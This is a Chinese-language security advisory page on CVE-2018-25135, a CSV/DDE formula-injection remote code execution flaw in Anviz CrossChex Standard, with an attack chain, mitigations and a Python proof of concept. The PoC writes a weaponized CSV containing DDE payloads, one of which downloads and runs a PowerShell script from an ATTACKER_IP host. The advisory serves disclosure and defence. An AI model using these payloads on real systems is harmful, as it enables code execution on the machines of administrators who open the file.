IPBUF安全漏洞报告
English
CVE-2018-25135 CVSS 9.8 严重

CVE-2018-25135: Anviz CrossChex Standard CSV注入远程代码执行漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2018-25135
漏洞类型
CSV注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Anviz AIM CrossChex Standard 4.3.6.0

相关标签

CSV注入远程代码执行AnvizCrossChex公式注入DDE门禁系统考勤管理CVE-2018-25135

漏洞概述

CVE-2018-25135是Anviz公司开发的CrossChex Standard考勤管理系统中存在的高危CSV注入漏洞,CVSS评分高达9.8,属于严重级别。该漏洞源于系统对用户导入功能的输入验证不足,攻击者可通过在CSV文件的用户信息字段(如姓名、性别、职位等)中插入恶意公式或命令,当管理员导入该CSV文件时,Excel等电子表格软件会自动解析并执行嵌入的恶意代码,从而实现远程代码执行。CrossChex是一款广泛应用于企业门禁和考勤管理的系统,通常部署在企业内部网络中,存储大量员工生物识别数据和敏感信息。一旦攻击者利用此漏洞成功执行任意代码,不仅可以获取系统控制权,还可能横向移动至其他关键系统,造成数据泄露和进一步的网络渗透。由于该漏洞无需认证即可利用,且利用难度较低,对使用该产品的企业构成严重安全威胁。建议受影响用户立即采取防护措施,避免导入来源不明的CSV文件。

技术细节

该漏洞的技术原理源于CSV文件格式的解析特性和Excel的公式计算功能。CSV(逗号分隔值)文件本质上是一种纯文本格式,当在单元格中以等号(=)开头输入内容时,Excel会将后续内容识别为公式而非普通文本。攻击者利用这一特性,在CSV文件的Name、Gender、Position等用户可控制字段中插入恶意公式。常见的利用方式包括:1) 使用DDE协议执行系统命令,如在单元格中输入=cmd|' /C calc'!A0,当Excel打开文件时会弹出计算器;2) 使用HYPERLINK函数配合恶意URL触发钓鱼攻击;3) 使用WEBSERVICE函数发起DNS查询或数据外泄。在CrossChex系统中,攻击者首先需要构造包含恶意公式的CSV文件,然后通过系统的用户导入功能将其上传。由于系统未对导入字段进行充分的输入过滤和转义处理,恶意公式会被原样保存到数据库中。当管理员通过系统导出数据或查看报表时,Excel会自动计算这些公式,从而触发攻击者的恶意代码。攻击者可通过此方式执行任意系统命令、安装恶意软件或窃取敏感数据。

攻击链分析

STEP 1
步骤1
攻击者收集目标信息:了解Anviz CrossChex Standard系统的用户导入功能位置和CSV文件格式要求
STEP 2
步骤2
攻击者构造恶意CSV文件:在Name、Gender、Position等可导入字段中插入包含恶意公式的payload,常见格式为=cmd|' /C <command>'!A0
STEP 3
步骤3
攻击者将恶意CSV文件上传至CrossChex系统:通过用户导入功能或社会工程学手段诱使管理员导入该文件
STEP 4
步骤4
系统存储恶意数据:CrossChex未对导入数据进行充分过滤,将包含恶意公式的记录保存到数据库
STEP 5
步骤5
触发代码执行:管理员通过系统导出功能或报表查看功能导出数据,Excel打开CSV时自动解析并执行恶意公式
STEP 6
步骤6
攻击者获得系统控制权:成功执行任意系统命令,可进一步进行横向移动、数据窃取或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import csv import sys def generate_malicious_csv(filename): """ PoC for CVE-2018-25135 CSV Injection in Anviz CrossChex Standard This demonstrates how malicious formulas can be injected via CSV import. """ # Payload 1: Command execution via DDE # When opened in Excel, this will attempt to execute calc.exe dde_payload = "=cmd|' /C calc'!A0" # Payload 2: PowerShell reverse shell # Attacker should replace IP and PORT with actual values ps_payload = "=cmd|' /C powershell -c \"IEX(New-Object Net.WebClient).downloadstring('http://ATTACKER_IP/rev.ps1')\"'!A0" # Payload 3: File write operation file_write_payload = "=cmd|' /C echo malicious > C:\\temp\\pwned.txt'!A0" # Create malicious CSV with weaponized fields with open(filename, 'w', newline='', encoding='utf-8') as f: writer = csv.writer(f) # Header row writer.writerow(['Name', 'Gender', 'Position', 'Department', 'CardNumber']) # Malicious data rows writer.writerow([dde_payload, 'Male', 'IT Admin', 'Technology', '123456']) writer.writerow([ps_payload, 'Female', 'Manager', 'HR', '234567']) writer.writerow([file_write_payload, 'Male', 'Developer', 'Engineering', '345678']) # Normal looking rows mixed in writer.writerow(['John Smith', 'Male', 'Security', 'Security', '456789']) writer.writerow(['Jane Doe', 'Female', 'Analyst', 'Finance', '567890']) print(f"[+] Malicious CSV file created: {filename}") print(f"[!] When imported into CrossChex and opened in Excel, the formulas will be executed") return filename if __name__ == '__main__': filename = sys.argv[1] if len(sys.argv) > 1 else 'malicious_users.csv' generate_malicious_csv(filename)

影响范围

Anviz AIM CrossChex Standard 4.3.6.0

防御指南

临时缓解措施
临时缓解措施:在导入CSV文件前,使用文本编辑器手动检查文件内容,确认不包含以等号(=)开头的可疑内容;或将Excel的自动计算选项设置为手动,防止自动执行公式;同时对导入功能实施严格的权限控制,仅允许受信任的管理员上传文件,并记录所有导入操作的审计日志。对于必须使用的导入功能,建议先在隔离环境中测试CSV文件的安全性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表